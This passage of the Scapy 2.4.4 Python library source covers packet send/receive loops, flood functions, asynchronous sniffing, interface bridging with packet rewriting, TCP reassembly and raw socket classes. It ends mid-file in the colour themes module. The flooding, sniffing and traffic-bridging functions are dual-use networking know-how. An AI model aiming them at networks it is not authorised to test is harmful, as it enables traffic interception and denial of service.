= "RECV %i:" % len(res[0]) print("\r" + ct.success(msg), end=' ') for p in res[0]: print(col(prn(p))) print(" " * len(msg), end=' ') if verbose > 1 and prnfail and len(res[1]) > 0: msg = "fail %i:" % len(res[1]) print("\r" + ct.fail(msg), end=' ') for p in res[1]: print(col(prnfail(p))) print(" " * len(msg), end=' ') if verbose > 1 and not (prn or prnfail): print("recv:%i fail:%i" % tuple(map(len, res[:2]))) if store: ans += res[0] unans += res[1] end = time.time() if end - start < inter: time.sleep(inter + start - end) except KeyboardInterrupt: pass if verbose and n > 0: print(ct.normal("\nSent %i packets, received %i packets. %3.1f%% hits." % (n, r, 100.0 * r / n))) # noqa: E501 return SndRcvList(ans), PacketList(unans) @conf.commands.register def srloop(pkts, *args, **kargs): """Send a packet at layer 3 in loop and print the answer each time srloop(pkts, [prn], [inter], [count], ...) --> None""" return __sr_loop(sr, pkts, *args, **kargs) @conf.commands.register def srploop(pkts, *args, **kargs): """Send a packet at layer 2 in loop and print the answer each time srloop(pkts, [prn], [inter], [count], ...) --> None""" return __sr_loop(srp, pkts, *args, **kargs) # SEND/RECV FLOOD METHODS def sndrcvflood(pks, pkt, inter=0, verbose=None, chainCC=False, timeout=None): """sndrcv equivalent for flooding.""" stopevent = Event() def send_in_loop(tobesent, stopevent): """Infinite generator that produces the same packet until stopevent is triggered.""" while True: for p in tobesent: if stopevent.is_set(): return yield p infinite_gen = send_in_loop(pkt, stopevent) _flood_len = pkt.__iterlen__() if isinstance(pkt, Gen) else len(pkt) _flood = [_flood_len, stopevent.set] return sndrcv( pks, infinite_gen, inter=inter, verbose=verbose, chainCC=chainCC, timeout=None, _flood=_flood ) @conf.commands.register def srflood(x, promisc=None, filter=None, iface=None, nofilter=None, *args, **kargs): # noqa: E501 """Flood and receive packets at layer 3 :param prn: function applied to packets received :param unique: only consider packets whose print :param nofilter: put 1 to avoid use of BPF filters :param filter: provide a BPF filter :param iface: listen answers only on the given interface """ s = conf.L3socket(promisc=promisc, filter=filter, iface=iface, nofilter=nofilter) # noqa: E501 r = sndrcvflood(s, x, *args, **kargs) s.close() return r @conf.commands.register def sr1flood(x, promisc=None, filter=None, iface=None, nofilter=0, *args, **kargs): # noqa: E501 """Flood and receive packets at layer 3 and return only the first answer :param prn: function applied to packets received :param verbose: set verbosity level :param nofilter: put 1 to avoid use of BPF filters :param filter: provide a BPF filter :param iface: listen answers only on the given interface """ s = conf.L3socket(promisc=promisc, filter=filter, nofilter=nofilter, iface=iface) # noqa: E501 ans, _ = sndrcvflood(s, x, *args, **kargs) s.close() if len(ans) > 0: return ans[0][1] @conf.commands.register def srpflood(x, promisc=None, filter=None, iface=None, iface_hint=None, nofilter=None, *args, **kargs): # noqa: E501 """Flood and receive packets at layer 2 :param prn: function applied to packets received :param unique: only consider packets whose print :param nofilter: put 1 to avoid use of BPF filters :param filter: provide a BPF filter :param iface: listen answers only on the given interface """ if iface is None and iface_hint is not None: iface = conf.route.route(iface_hint)[0] s = conf.L2socket(promisc=promisc, filter=filter, iface=iface, nofilter=nofilter) # noqa: E501 r = sndrcvflood(s, x, *args, **kargs) s.close() return r @conf.commands.register def srp1flood(x, promisc=None, filter=None, iface=None, nofilter=0, *args, **kargs): # noqa: E501 """Flood and receive packets at layer 2 and return only the first answer :param prn: function applied to packets received :param verbose: set verbosity level :param nofilter: put 1 to avoid use of BPF filters :param filter: provide a BPF filter :param iface: listen answers only on the given interface """ s = conf.L2socket(promisc=promisc, filter=filter, nofilter=nofilter, iface=iface) # noqa: E501 ans, _ = sndrcvflood(s, x, *args, **kargs) s.close() if len(ans) > 0: return ans[0][1] # SNIFF METHODS class AsyncSniffer(object): """ Sniff packets and return a list of packets. Args: count: number of packets to capture. 0 means infinity. store: whether to store sniffed packets or discard them prn: function to apply to each packet. If something is returned, it is displayed. --Ex: prn = lambda x: x.summary() session: a session = a flow decoder used to handle stream of packets. --Ex: session=TCPSession See below for more details. filter: BPF filter to apply. lfilter: Python function applied to each packet to determine if further action may be done. --Ex: lfilter = lambda x: x.haslayer(Padding) offline: PCAP file (or list of PCAP files) to read packets from, instead of sniffing them quiet: when set to True, the process stderr is discarded (default: False). timeout: stop sniffing after a given time (default: None). L2socket: use the provided L2socket (default: use conf.L2listen). opened_socket: provide an object (or a list of objects) ready to use .recv() on. stop_filter: Python function applied to each packet to determine if we have to stop the capture after this packet. --Ex: stop_filter = lambda x: x.haslayer(TCP) iface: interface or list of interfaces (default: None for sniffing on all interfaces). monitor: use monitor mode. May not be available on all OS started_callback: called as soon as the sniffer starts sniffing (default: None). The iface, offline and opened_socket parameters can be either an element, a list of elements, or a dict object mapping an element to a label (see examples below). For more information about the session argument, see https://scapy.rtfd.io/en/latest/usage.html#advanced-sniffing-sniffing-sessions Examples: synchronous >>> sniff(filter="arp") >>> sniff(filter="tcp", ... session=IPSession, # defragment on-the-flow ... prn=lambda x: x.summary()) >>> sniff(lfilter=lambda pkt: ARP in pkt) >>> sniff(iface="eth0", prn=Packet.summary) >>> sniff(iface=["eth0", "mon0"], ... prn=lambda pkt: "%s: %s" % (pkt.sniffed_on, ... pkt.summary())) >>> sniff(iface={"eth0": "Ethernet", "mon0": "Wifi"}, ... prn=lambda pkt: "%s: %s" % (pkt.sniffed_on, ... pkt.summary())) Examples: asynchronous >>> t = AsyncSniffer(iface="enp0s3") >>> t.start() >>> time.sleep(1) >>> print("nice weather today") >>> t.stop() """ def __init__(self, *args, **kwargs): # Store keyword arguments self.args = args self.kwargs = kwargs self.running = False self.thread = None self.results = None def _setup_thread(self): # Prepare sniffing thread self.thread = Thread( target=self._run, args=self.args, kwargs=self.kwargs ) self.thread.setDaemon(True) def _run(self, count=0, store=True, offline=None, quiet=False, prn=None, lfilter=None, L2socket=None, timeout=None, opened_socket=None, stop_filter=None, iface=None, started_callback=None, session=None, session_args=[], session_kwargs={}, *arg, **karg): self.running = True # Start main thread # instantiate session if not isinstance(session, DefaultSession): session = session or DefaultSession session = session(prn=prn, store=store, *session_args, **session_kwargs) else: session.prn = prn session.store = store # sniff_sockets follows: {socket: label} sniff_sockets = {} if opened_socket is not None: if isinstance(opened_socket, list): sniff_sockets.update( (s, "socket%d" % i) for i, s in enumerate(opened_socket) ) elif isinstance(opened_socket, dict): sniff_sockets.update( (s, label) for s, label in six.iteritems(opened_socket) ) else: sniff_sockets[opened_socket] = "socket0" if offline is not None: flt = karg.get('filter') if isinstance(offline, list) and \ all(isinstance(elt, str) for elt in offline): sniff_sockets.update((PcapReader( fname if flt is None else tcpdump(fname, args=["-w", "-"], flt=flt, getfd=True) ), fname) for fname in offline) elif isinstance(offline, dict): sniff_sockets.update((PcapReader( fname if flt is None else tcpdump(fname, args=["-w", "-"], flt=flt, getfd=True) ), label) for fname, label in six.iteritems(offline)) else: # Write Scapy Packet objects to a pcap file def _write_to_pcap(packets_list): filename = get_temp_file(autoext=".pcap") wrpcap(filename, offline) return filename, filename if isinstance(offline, Packet): tempfile_written, offline = _write_to_pcap([offline]) elif isinstance(offline, list) and \ all(isinstance(elt, Packet) for elt in offline): tempfile_written, offline = _write_to_pcap(offline) sniff_sockets[PcapReader( offline if flt is None else tcpdump(offline, args=["-w", "-"], flt=flt, getfd=True, quiet=quiet) )] = offline if not sniff_sockets or iface is not None: if L2socket is None: L2socket = conf.L2listen if isinstance(iface, list): sniff_sockets.update( (L2socket(type=ETH_P_ALL, iface=ifname, *arg, **karg), ifname) for ifname in iface ) elif isinstance(iface, dict): sniff_sockets.update( (L2socket(type=ETH_P_ALL, iface=ifname, *arg, **karg), iflabel) for ifname, iflabel in six.iteritems(iface) ) else: sniff_sockets[L2socket(type=ETH_P_ALL, iface=iface, *arg, **karg)] = iface # Get select information from the sockets _main_socket = next(iter(sniff_sockets)) select_func = _main_socket.select _backup_read_func = _main_socket.__class__.recv nonblocking_socket = _main_socket.nonblocking_socket # We check that all sockets use the same select(), or raise a warning if not all(select_func == sock.select for sock in sniff_sockets): warning("Warning: inconsistent socket types ! " "The used select function " "will be the one of the first socket") if nonblocking_socket: # select is non blocking def stop_cb(): self.continue_sniff = False self.stop_cb = stop_cb close_pipe = None else: # select is blocking: Add special control socket from scapy.automaton import ObjectPipe close_pipe = ObjectPipe() sniff_sockets[close_pipe] = "control_socket" def stop_cb(): if self.running: close_pipe.send(None) self.continue_sniff = False self.stop_cb = stop_cb try: if started_callback: started_callback() self.continue_sniff = True # Start timeout if timeout is not None: stoptime = time.time() + timeout remain = None while sniff_sockets and self.continue_sniff: if timeout is not None: remain = stoptime - time.time() if remain <= 0: break sockets, read_func = select_func(sniff_sockets, remain) read_func = read_func or _backup_read_func dead_sockets = [] for s in sockets: if s is close_pipe: break try: p = read_func(s) except EOFError: # End of stream try: s.close() except Exception: pass dead_sockets.append(s) continue except Exception as ex: msg = " It was closed." try: # Make sure it's closed s.close() except Exception as ex: msg = " close() failed with '%s'" % ex warning( "Socket %s failed with '%s'." % (s, ex) + msg ) dead_sockets.append(s) if conf.debug_dissector >= 2: raise continue if p is None: continue if lfilter and not lfilter(p): continue p.sniffed_on = sniff_sockets[s] # on_packet_received handles the prn/storage session.on_packet_received(p) # check if (stop_filter and stop_filter(p)) or \ (0 < count <= session.count): self.continue_sniff = False break # Removed dead sockets for s in dead_sockets: del sniff_sockets[s] except KeyboardInterrupt: pass self.running = False if opened_socket is None: for s in sniff_sockets: s.close() elif close_pipe: close_pipe.close() self.results = session.toPacketList() def start(self): """Starts AsyncSniffer in async mode""" self._setup_thread() self.thread.start() def stop(self, join=True): """Stops AsyncSniffer if not in async mode""" if self.running: try: self.stop_cb() except AttributeError: raise Scapy_Exception( "Unsupported (offline or unsupported socket)" ) if join: self.join() return self.results else: raise Scapy_Exception("Not started !") def join(self, *args, **kwargs): if self.thread: self.thread.join(*args, **kwargs) @conf.commands.register def sniff(*args, **kwargs): sniffer = AsyncSniffer() sniffer._run(*args, **kwargs) return sniffer.results sniff.__doc__ = AsyncSniffer.__doc__ @conf.commands.register def bridge_and_sniff(if1, if2, xfrm12=None, xfrm21=None, prn=None, L2socket=None, # noqa: E501 *args, **kargs): """Forward traffic between interfaces if1 and if2, sniff and return the exchanged packets. :param if1: the interfaces to use (interface names or opened sockets). :param if2: :param xfrm12: a function to call when forwarding a packet from if1 to if2. If it returns True, the packet is forwarded as it. If it returns False or None, the packet is discarded. If it returns a packet, this packet is forwarded instead of the original packet one. :param xfrm21: same as xfrm12 for packets forwarded from if2 to if1. The other arguments are the same than for the function sniff(), except for offline, opened_socket and iface that are ignored. See help(sniff) for more. """ for arg in ['opened_socket', 'offline', 'iface']: if arg in kargs: log_runtime.warning("Argument %s cannot be used in " "bridge_and_sniff() -- ignoring it.", arg) del kargs[arg] def _init_socket(iface, count): if isinstance(iface, SuperSocket): return iface, "iface%d" % count else: return (L2socket or conf.L2socket)(iface=iface), iface sckt1, if1 = _init_socket(if1, 1) sckt2, if2 = _init_socket(if2, 2) peers = {if1: sckt2, if2: sckt1} xfrms = {} if xfrm12 is not None: xfrms[if1] = xfrm12 if xfrm21 is not None: xfrms[if2] = xfrm21 def prn_send(pkt): try: sendsock = peers[pkt.sniffed_on] except KeyError: return if pkt.sniffed_on in xfrms: try: newpkt = xfrms[pkt.sniffed_on](pkt) except Exception: log_runtime.warning( 'Exception in transformation function for packet [%s] ' 'received on %s -- dropping', pkt.summary(), pkt.sniffed_on, exc_info=True ) return else: if newpkt is True: newpkt = pkt.original elif not newpkt: return else: newpkt = pkt.original try: sendsock.send(newpkt) except Exception: log_runtime.warning('Cannot forward packet [%s] received on %s', pkt.summary(), pkt.sniffed_on, exc_info=True) if prn is None: prn = prn_send else: prn_orig = prn def prn(pkt): prn_send(pkt) return prn_orig(pkt) return sniff(opened_socket={sckt1: if1, sckt2: if2}, prn=prn, *args, **kargs) @conf.commands.register def tshark(*args, **kargs): """Sniff packets and print them calling pkt.summary(). This tries to replicate what text-wireshark (tshark) would look like""" if 'iface' in kargs: iface = kargs.get('iface') elif 'opened_socket' in kargs: iface = kargs.get('opened_socket').iface else: iface = conf.iface print("Capturing on '%s'" % iface) # This should be a nonlocal variable, using a mutable object # for Python 2 compatibility i = [0] def _cb(pkt): print("%5d\t%s" % (i[0], pkt.summary())) i[0] += 1 sniff(prn=_cb, store=False, *args, **kargs) print("\n%d packet%s captured" % (i[0], 's' if i[0] > 1 else '')) scapy-2.4.4/scapy/sessions.py000066400000000000000000000242161372370053500162110ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Sessions: decode flow of packets when sniffing """ from collections import defaultdict from scapy.compat import raw from scapy.config import conf from scapy.packet import NoPayload from scapy.plist import PacketList class DefaultSession(object): """Default session: no stream decoding""" def __init__(self, prn=None, store=False, supersession=None, *args, **karg): self.__prn = prn self.__store = store self.lst = [] self.__count = 0 self._supersession = supersession if self._supersession: self._supersession.prn = self.__prn self._supersession.store = self.__store self.__store = False self.__prn = None @property def store(self): return self.__store @store.setter def store(self, val): if self._supersession: self._supersession.store = val else: self.__store = val @property def prn(self): return self.__prn @prn.setter def prn(self, f): if self._supersession: self._supersession.prn = f else: self.__prn = f @property def count(self): if self._supersession: return self._supersession.count else: return self.__count def toPacketList(self): if self._supersession: return PacketList(self._supersession.lst, "Sniffed") else: return PacketList(self.lst, "Sniffed") def on_packet_received(self, pkt): """DEV: entry point. Will be called by sniff() for each received packet (that passes the filters). """ if not pkt: return if isinstance(pkt, list): for p in pkt: DefaultSession.on_packet_received(self, p) return self.__count += 1 if self.store: self.lst.append(pkt) if self.prn: result = self.prn(pkt) if result is not None: print(result) class IPSession(DefaultSession): """Defragment IP packets 'on-the-flow'. Usage: >>> sniff(session=IPSession) """ def __init__(self, *args, **kwargs): DefaultSession.__init__(self, *args, **kwargs) self.fragments = defaultdict(list) def _ip_process_packet(self, packet): from scapy.layers.inet import _defrag_list, IP if IP not in packet: return packet ip = packet[IP] packet._defrag_pos = 0 if ip.frag != 0 or ip.flags.MF: uniq = (ip.id, ip.src, ip.dst, ip.proto) self.fragments[uniq].append(packet) if not ip.flags.MF: # end of frag try: if self.fragments[uniq][0].frag == 0: # Has first fragment (otherwise ignore) defrag, missfrag = [], [] _defrag_list(self.fragments[uniq], defrag, missfrag) defragmented_packet = defrag[0] defragmented_packet = defragmented_packet.__class__( raw(defragmented_packet) ) return defragmented_packet finally: del self.fragments[uniq] else: return packet def on_packet_received(self, pkt): pkt = self._ip_process_packet(pkt) DefaultSession.on_packet_received(self, pkt) class StringBuffer(object): """StringBuffer is an object used to re-order data received during a TCP transmission. Each TCP fragment contains a sequence number, which marks (relatively to the first sequence number) the index of the data contained in the fragment. If a TCP fragment is missed, this class will fill the missing space with zeros. """ def __init__(self): self.content = bytearray(b"") self.content_len = 0 self.incomplete = [] def append(self, data, seq): data_len = len(data) seq = seq - 1 if seq + data_len > self.content_len: self.content += b"\x00" * (seq - self.content_len + data_len) # If data was missing, mark it. self.incomplete.append((self.content_len, seq)) self.content_len = seq + data_len assert len(self.content) == self.content_len # XXX removes empty space marker. # for ifrag in self.incomplete: # if [???]: # self.incomplete.remove([???]) memoryview(self.content)[seq:seq + data_len] = data def full(self): # Should only be true when all missing data was filled up, # (or there never was missing data) return True # XXX def clear(self): self.__init__() def __bool__(self): return bool(self.content_len) __nonzero__ = __bool__ def __len__(self): return self.content_len def __bytes__(self): return bytes(self.content) __str__ = __bytes__ class TCPSession(IPSession): """A Session that matches seq/ack packets together to dissect special protocols, such as HTTP. DEV: implement a class-function `tcp_reassemble` in your Packet class:: @classmethod def tcp_reassemble(cls, data, metadata): # data = the reassembled data from the same request/flow # metadata = empty dictionary, that can be used to store data [...] # If the packet is available, return it. Otherwise don't. # Whenever you return a packet, the buffer will be discarded. return pkt # Otherwise, maybe store stuff in metadata, and return None, # as you need additional data. return None For more details and a real example, see: https://scapy.readthedocs.io/en/latest/usage.html#how-to-use-tcpsession-to-defragment-tcp-packets :param app: Whether the socket is on application layer = has no TCP layer. This is used for instance if you are using a native TCP socket. Default to False """ fmt = ('TCP {IP:%IP.src%}{IPv6:%IPv6.src%}:%r,TCP.sport% > ' + '{IP:%IP.dst%}{IPv6:%IPv6.dst%}:%r,TCP.dport%') def __init__(self, app=False, *args, **kwargs): super(TCPSession, self).__init__(*args, **kwargs) self.app = app if app: self.data = b"" self.metadata = {} else: # The StringBuffer() is used to build a global # string from fragments and their seq nulber self.tcp_frags = defaultdict( lambda: (StringBuffer(), {}) ) def _process_packet(self, pkt): """Process each packet: matches the TCP seq/ack numbers to follow the TCP streams, and orders the fragments. """ if self.app: # Special mode: Application layer. Use on top of TCP pay_class = pkt.__class__ if not hasattr(pay_class, "tcp_reassemble"): # Being on top of TCP, we have no way of knowing # when a packet ends. return pkt self.data += bytes(pkt) pkt = pay_class.tcp_reassemble(self.data, self.metadata) if pkt: self.data = b"" self.metadata = {} return pkt return from scapy.layers.inet import IP, TCP if not pkt or TCP not in pkt: return pkt pay = pkt[TCP].payload if isinstance(pay, (NoPayload, conf.padding_layer)): return pkt new_data = pay.original # Match packets by a uniqute TCP identifier seq = pkt[TCP].seq ident = pkt.sprintf(self.fmt) data, metadata = self.tcp_frags[ident] # Let's guess which class is going to be used if "pay_class" not in metadata: pay_class = pay.__class__ if hasattr(pay_class, "tcp_reassemble"): tcp_reassemble = pay_class.tcp_reassemble else: # We can't know for sure when a packet ends. # Ignore. return pkt metadata["pay_class"] = pay_class metadata["tcp_reassemble"] = tcp_reassemble else: tcp_reassemble = metadata["tcp_reassemble"] # Get a relative sequence number for a storage purpose relative_seq = metadata.get("relative_seq", None) if relative_seq is None: relative_seq = metadata["relative_seq"] = seq - 1 seq = seq - relative_seq # Add the data to the buffer # Note that this take care of retransmission packets. data.append(new_data, seq) # Check TCP FIN or TCP RESET if pkt[TCP].flags.F or pkt[TCP].flags.R: metadata["tcp_end"] = True # In case any app layer protocol requires it, # allow the parser to inspect TCP PSH flag if pkt[TCP].flags.P: metadata["tcp_psh"] = True # XXX TODO: check that no empty space is missing in the buffer. # XXX Currently, if a TCP fragment was missing, we won't notice it. packet = None if data.full(): # Reassemble using all previous packets packet = tcp_reassemble(bytes(data), metadata) # Stack the result on top of the previous frames if packet: data.clear() metadata.clear() del self.tcp_frags[ident] pay.underlayer.remove_payload() if IP in pkt: pkt[IP].len = None pkt[IP].chksum = None return pkt / packet def on_packet_received(self, pkt): """Hook to the Sessions API: entry point of the dissection. This will defragment IP if necessary, then process to TCP reassembly. """ # First, defragment IP if necessary pkt = self._ip_process_packet(pkt) # Now handle TCP reassembly pkt = self._process_packet(pkt) DefaultSession.on_packet_received(self, pkt) scapy-2.4.4/scapy/supersocket.py000066400000000000000000000361411372370053500167120ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ SuperSocket. """ from __future__ import absolute_import from select import select, error as select_error import ctypes import errno import os import socket import struct import time from scapy.config import conf from scapy.consts import LINUX, DARWIN, WINDOWS from scapy.data import MTU, ETH_P_IP, SOL_PACKET, SO_TIMESTAMPNS from scapy.compat import raw, bytes_encode from scapy.error import warning, log_runtime import scapy.modules.six as six import scapy.packet from scapy.utils import PcapReader, tcpdump # Utils class _SuperSocket_metaclass(type): def __repr__(self): if self.desc is not None: return "<%s: %s>" % (self.__name__, self.desc) else: return "<%s>" % self.__name__ # Used to get ancillary data PACKET_AUXDATA = 8 ETH_P_8021Q = 0x8100 TP_STATUS_VLAN_VALID = 1 << 4 class tpacket_auxdata(ctypes.Structure): _fields_ = [ ("tp_status", ctypes.c_uint), ("tp_len", ctypes.c_uint), ("tp_snaplen", ctypes.c_uint), ("tp_mac", ctypes.c_ushort), ("tp_net", ctypes.c_ushort), ("tp_vlan_tci", ctypes.c_ushort), ("tp_padding", ctypes.c_ushort), ] # SuperSocket class SuperSocket(six.with_metaclass(_SuperSocket_metaclass)): desc = None closed = 0 nonblocking_socket = False auxdata_available = False def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0): # noqa: E501 self.ins = socket.socket(family, type, proto) self.outs = self.ins self.promisc = None def send(self, x): sx = raw(x) try: x.sent_time = time.time() except AttributeError: pass return self.outs.send(sx) if six.PY2: def _recv_raw(self, sock, x): """Internal function to receive a Packet""" pkt, sa_ll = sock.recvfrom(x) return pkt, sa_ll, None else: def _recv_raw(self, sock, x): """Internal function to receive a Packet, and process ancillary data. """ timestamp = None if not self.auxdata_available: pkt, _, _, sa_ll = sock.recvmsg(x) return pkt, sa_ll, timestamp flags_len = socket.CMSG_LEN(4096) pkt, ancdata, flags, sa_ll = sock.recvmsg(x, flags_len) if not pkt: return pkt, sa_ll, timestamp for cmsg_lvl, cmsg_type, cmsg_data in ancdata: # Check available ancillary data if (cmsg_lvl == SOL_PACKET and cmsg_type == PACKET_AUXDATA): # Parse AUXDATA try: auxdata = tpacket_auxdata.from_buffer_copy(cmsg_data) except ValueError: # Note: according to Python documentation, recvmsg() # can return a truncated message. A ValueError # exception likely indicates that Auxiliary # Data is not supported by the Linux kernel. return pkt, sa_ll, timestamp if auxdata.tp_vlan_tci != 0 or \ auxdata.tp_status & TP_STATUS_VLAN_VALID: # Insert VLAN tag tag = struct.pack( "!HH", ETH_P_8021Q, auxdata.tp_vlan_tci ) pkt = pkt[:12] + tag + pkt[12:] elif cmsg_lvl == socket.SOL_SOCKET and \ cmsg_type == SO_TIMESTAMPNS: length = len(cmsg_data) if length == 16: # __kernel_timespec tmp = struct.unpack("ll", cmsg_data) elif length == 8: # timespec tmp = struct.unpack("ii", cmsg_data) else: log_runtime.warning("Unknown timespec format.. ?!") continue timestamp = tmp[0] + tmp[1] * 1e-9 return pkt, sa_ll, timestamp def recv_raw(self, x=MTU): """Returns a tuple containing (cls, pkt_data, time)""" return conf.raw_layer, self.ins.recv(x), None def recv(self, x=MTU): cls, val, ts = self.recv_raw(x) if not val or not cls: return try: pkt = cls(val) except KeyboardInterrupt: raise except Exception: if conf.debug_dissector: from scapy.sendrecv import debug debug.crashed_on = (cls, val) raise pkt = conf.raw_layer(val) if ts: pkt.time = ts return pkt def fileno(self): return self.ins.fileno() def close(self): if self.closed: return self.closed = True if getattr(self, "outs", None): if getattr(self, "ins", None) != self.outs: if WINDOWS or self.outs.fileno() != -1: self.outs.close() if getattr(self, "ins", None): if WINDOWS or self.ins.fileno() != -1: self.ins.close() def sr(self, *args, **kargs): from scapy import sendrecv return sendrecv.sndrcv(self, *args, **kargs) def sr1(self, *args, **kargs): from scapy import sendrecv a, b = sendrecv.sndrcv(self, *args, **kargs) if len(a) > 0: return a[0][1] else: return None def sniff(self, *args, **kargs): from scapy import sendrecv return sendrecv.sniff(opened_socket=self, *args, **kargs) def tshark(self, *args, **kargs): from scapy import sendrecv return sendrecv.tshark(opened_socket=self, *args, **kargs) @staticmethod def select(sockets, remain=conf.recv_poll_rate): """This function is called during sendrecv() routine to select the available sockets. :param sockets: an array of sockets that need to be selected :returns: an array of sockets that were selected and the function to be called next to get the packets (i.g. recv) """ try: inp, _, _ = select(sockets, [], [], remain) except (IOError, select_error) as exc: # select.error has no .errno attribute if not exc.args or exc.args[0] != errno.EINTR: raise return inp, None def __del__(self): """Close the socket""" self.close() def __enter__(self): return self def __exit__(self, exc_type, exc_value, traceback): """Close the socket""" self.close() class L3RawSocket(SuperSocket): desc = "Layer 3 using Raw sockets (PF_INET/SOCK_RAW)" def __init__(self, type=ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0): # noqa: E501 self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) # noqa: E501 self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1) self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) # noqa: E501 self.iface = iface if iface is not None: self.ins.bind((self.iface, type)) if not six.PY2: try: # Receive Auxiliary Data (VLAN tags) self.ins.setsockopt(SOL_PACKET, PACKET_AUXDATA, 1) self.ins.setsockopt( socket.SOL_SOCKET, SO_TIMESTAMPNS, 1 ) self.auxdata_available = True except OSError: # Note: Auxiliary Data is only supported since # Linux 2.6.21 msg = "Your Linux Kernel does not support Auxiliary Data!" log_runtime.info(msg) def recv(self, x=MTU): pkt, sa_ll, ts = self._recv_raw(self.ins, x) if sa_ll[2] == socket.PACKET_OUTGOING: return None if sa_ll[3] in conf.l2types: cls = conf.l2types[sa_ll[3]] lvl = 2 elif sa_ll[1] in conf.l3types: cls = conf.l3types[sa_ll[1]] lvl = 3 else: cls = conf.default_l2 warning("Unable to guess type (interface=%s protocol=%#x family=%i). Using %s", sa_ll[0], sa_ll[1], sa_ll[3], cls.name) # noqa: E501 lvl = 3 try: pkt = cls(pkt) except KeyboardInterrupt: raise except Exception: if conf.debug_dissector: raise pkt = conf.raw_layer(pkt) if lvl == 2: pkt = pkt.payload if pkt is not None: if ts is None: from scapy.arch import get_last_packet_timestamp ts = get_last_packet_timestamp(self.ins) pkt.time = ts return pkt def send(self, x): try: sx = raw(x) x.sent_time = time.time() return self.outs.sendto(sx, (x.dst, 0)) except socket.error as msg: log_runtime.error(msg) class SimpleSocket(SuperSocket): desc = "wrapper around a classic socket" def __init__(self, sock): self.ins = sock self.outs = sock class StreamSocket(SimpleSocket): desc = "transforms a stream socket into a layer 2" nonblocking_socket = True def __init__(self, sock, basecls=None): if basecls is None: basecls = conf.raw_layer SimpleSocket.__init__(self, sock) self.basecls = basecls def recv(self, x=MTU): pkt = self.ins.recv(x, socket.MSG_PEEK) x = len(pkt) if x == 0: return None pkt = self.basecls(pkt) pad = pkt.getlayer(conf.padding_layer) if pad is not None and pad.underlayer is not None: del(pad.underlayer.payload) from scapy.packet import NoPayload while pad is not None and not isinstance(pad, NoPayload): x -= len(pad.load) pad = pad.payload self.ins.recv(x) return pkt class SSLStreamSocket(StreamSocket): desc = "similar usage than StreamSocket but specialized for handling SSL-wrapped sockets" # noqa: E501 def __init__(self, sock, basecls=None): self._buf = b"" super(SSLStreamSocket, self).__init__(sock, basecls) # 65535, the default value of x is the maximum length of a TLS record def recv(self, x=65535): pkt = None if self._buf != b"": try: pkt = self.basecls(self._buf) except Exception: # We assume that the exception is generated by a buffer underflow # noqa: E501 pass if not pkt: buf = self.ins.recv(x) if len(buf) == 0: raise socket.error((100, "Underlying stream socket tore down")) self._buf += buf x = len(self._buf) pkt = self.basecls(self._buf) pad = pkt.getlayer(conf.padding_layer) if pad is not None and pad.underlayer is not None: del(pad.underlayer.payload) while pad is not None and not isinstance(pad, scapy.packet.NoPayload): x -= len(pad.load) pad = pad.payload self._buf = self._buf[x:] return pkt class L2ListenTcpdump(SuperSocket): desc = "read packets at layer 2 using tcpdump" def __init__(self, iface=None, promisc=None, filter=None, nofilter=False, prog=None, *arg, **karg): self.outs = None args = ['-w', '-', '-s', '65535'] if iface is None and (WINDOWS or DARWIN): iface = conf.iface if WINDOWS: try: iface = iface.pcap_name except AttributeError: pass self.iface = iface if iface is not None: args.extend(['-i', self.iface]) if not promisc: args.append('-p') if not nofilter: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if filter is not None: args.append(filter) self.tcpdump_proc = tcpdump(None, prog=prog, args=args, getproc=True) self.ins = PcapReader(self.tcpdump_proc.stdout) def recv(self, x=MTU): return self.ins.recv(x) def close(self): SuperSocket.close(self) self.tcpdump_proc.kill() @staticmethod def select(sockets, remain=None): if (WINDOWS or DARWIN): return sockets, None return SuperSocket.select(sockets, remain=remain) class TunTapInterface(SuperSocket): """A socket to act as the host's peer of a tun / tap interface. """ desc = "Act as the host's peer of a tun / tap interface" def __init__(self, iface=None, mode_tun=None, *arg, **karg): self.iface = conf.iface if iface is None else iface self.mode_tun = ("tun" in self.iface) if mode_tun is None else mode_tun self.closed = True self.open() def open(self): """Open the TUN or TAP device.""" if not self.closed: return self.outs = self.ins = open( "/dev/net/tun" if LINUX else ("/dev/%s" % self.iface), "r+b", buffering=0 ) if LINUX: from fcntl import ioctl # TUNSETIFF = 0x400454ca # IFF_TUN = 0x0001 # IFF_TAP = 0x0002 # IFF_NO_PI = 0x1000 ioctl(self.ins, 0x400454ca, struct.pack( "16sH", bytes_encode(self.iface), 0x0001 if self.mode_tun else 0x1002, )) self.closed = False def __call__(self, *arg, **karg): """Needed when using an instantiated TunTapInterface object for conf.L2listen, conf.L2socket or conf.L3socket. """ return self def recv(self, x=MTU): if self.mode_tun: data = os.read(self.ins.fileno(), x + 4) proto = struct.unpack('!H', data[2:4])[0] return conf.l3types.get(proto, conf.raw_layer)(data[4:]) return conf.l2types.get(1, conf.raw_layer)( os.read(self.ins.fileno(), x) ) def send(self, x): sx = raw(x) if self.mode_tun: try: proto = conf.l3types[type(x)] except KeyError: log_runtime.warning( "Cannot find layer 3 protocol value to send %s in " "conf.l3types, using 0", x.name if hasattr(x, "name") else type(x).__name__ ) proto = 0 sx = struct.pack('!HH', 0, proto) + sx try: try: x.sent_time = time.time() except AttributeError: pass return os.write(self.outs.fileno(), sx) except socket.error: log_runtime.error("%s send", self.__class__.__name__, exc_info=True) # noqa: E501 scapy-2.4.4/scapy/themes.py000066400000000000000000000342521372370053500156310ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Color themes for the interactive console. """ ################## # Color themes # ################## import cgi import sys class ColorTable: colors = { # Format: (ansi, pygments) # foreground "black": ("\033[30m", "#ansiblack"), "red": ("\033[31m", "#ansired"), "green": ("\033[32m", "#ansigreen"), "yellow": ("\033[33m", "#ansiyellow"), "blue": ("\033[34m", 